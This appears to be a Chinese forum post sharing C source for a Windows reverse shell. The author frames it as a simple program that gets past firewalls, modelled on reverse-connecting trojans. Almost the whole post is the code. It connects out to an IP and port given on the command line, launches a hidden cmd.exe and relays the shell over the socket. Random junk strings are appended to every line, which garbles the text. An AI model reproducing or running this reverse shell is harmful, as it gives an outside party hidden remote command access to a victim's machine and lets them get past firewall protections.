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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 2-9'zN0u  
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/* ============================== *%^Vq  
Rebound port in Windows NT D=U"L-rRs  
By wind,2006/7 FTx&] QN?  
===============================*/ ]g jhrD   
#include lS.*/u*5  
#include $okGqu8z.O  
!xm87I  
#pragma comment(lib,"wsock32.lib") n%lY7.z8d  
, 4Vr,?"EO  
void OutputShell(); _q >>]{5  
SOCKET sClient; IG?044Y  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; \Lxsg! wtJ  
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void main(int argc,char **argv) &[*F!=%8  
{ H]5%"(h  
WSADATA stWsaData; Y4]USU!PA  
int nRet; a)'^'jm)4  
SOCKADDR_IN stSaiClient,stSaiServer; t&+f:)n  
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if(argc != 3) 5UE5;yo  
{ w,(e,8#:  
printf("Useage:\n\rRebound DestIP DestPort\n"); +5Yf9  
return; 2)DrZI  
} >r] bfN,  
Z `FqC  
WSAStartup(MAKEWORD(2,2),&stWsaData); d(RSn|[0  
` V}e$  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); UxZT&x3=)}  
md_9bq/w  
stSaiClient.sin_family = AF_INET; PaPQ|Pwz  
stSaiClient.sin_port = htons(0); [U_S u,  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ", b}-B  
bq5tEn  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) L4I1nl  
{ T&6W>VQ|[>  
printf("Bind Socket Failed!\n"); \; Io  
return; KD9Y  
} :*V1jp+  
"f|\":\  
stSaiServer.sin_family = AF_INET; ^a~^$PUqI  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); f.ku v"  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); "Gx(-NH+  
*6%!i7kr  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) b_xn80O  
{ {7!WtH;-  
printf("Connect Error!"); 1A;>@4iC0  
return; _w8iPL5:  
} 5/<?Y&x  
OutputShell(); <$)F_R~T3  
} !\.%^LK1  
)h-Qi#{  
void OutputShell() ml$"C  
{ :4]^PB@dl  
char szBuff[1024]; Iuk!A?XV  
SECURITY_ATTRIBUTES stSecurityAttributes; JiL%1y9|  
OSVERSIONINFO stOsversionInfo; e1ru#'z  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; X_Vj&{  
STARTUPINFO stStartupInfo; }Z5#{Sd  
char *szShell; 1Ao YG_  
PROCESS_INFORMATION stProcessInformation; y'ULhDgq^B  
unsigned long lBytesRead; x}I'W?g  
g+Z~"O]$M  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); K@u\^6419  
A7!!kR":  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); uY+N163i  
stSecurityAttributes.lpSecurityDescriptor = 0; GmoY~}cg~  
stSecurityAttributes.bInheritHandle = TRUE; NLZTIZCK  
>q0c!,Ay  
,Q~C F;qe  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); M$j]VZ  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); O 4xV "\  
(orO=gST-/  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); cl s-x@ Kd  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |,k,X}gP  
stStartupInfo.wShowWindow = SW_HIDE; *G)=6\  
stStartupInfo.hStdInput = hReadPipe; ^DZ(T+q,  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; qI,4 uGg  
p-QD(+@M  
GetVersionEx(&stOsversionInfo); i}mvKV?!|1  
T^9k,J(rM  
switch(stOsversionInfo.dwPlatformId) Y'6GY*dL  
{ _\M:h+^  
case 1: bN-ljw0&  
szShell = "command.com"; >% a^;gk(  
break; GY9CU=-  
default: _B4H"2}[Y  
szShell = "cmd.exe"; =#qf0  
break; }Xv2I$J  
} ;  ntq%  
~x`BV+R  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ! Ff/RRo  
1muB* O  
send(sClient,szMsg,77,0); 9Tbi_6[  
while(1) ^Y"c1f2  
{ ]<\Ft H  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); "?E>rWz  
if(lBytesRead) `4V_I%lJ&  
{ sYlA{Z"  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); OmO/x  
send(sClient,szBuff,lBytesRead,0); *^cJn*QeL  
} (gd+-o4  
else l_ /q/8-l  
{ tY=sl_  
lBytesRead=recv(sClient,szBuff,1024,0); f=%k9Y*)  
if(lBytesRead<=0) break; FSnF>3kj-  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 8. 9TWsZ  
} gc|?$aE  
} 7VWq8FH`  
dq$H^BB+>  
return;  [wS~.  
}
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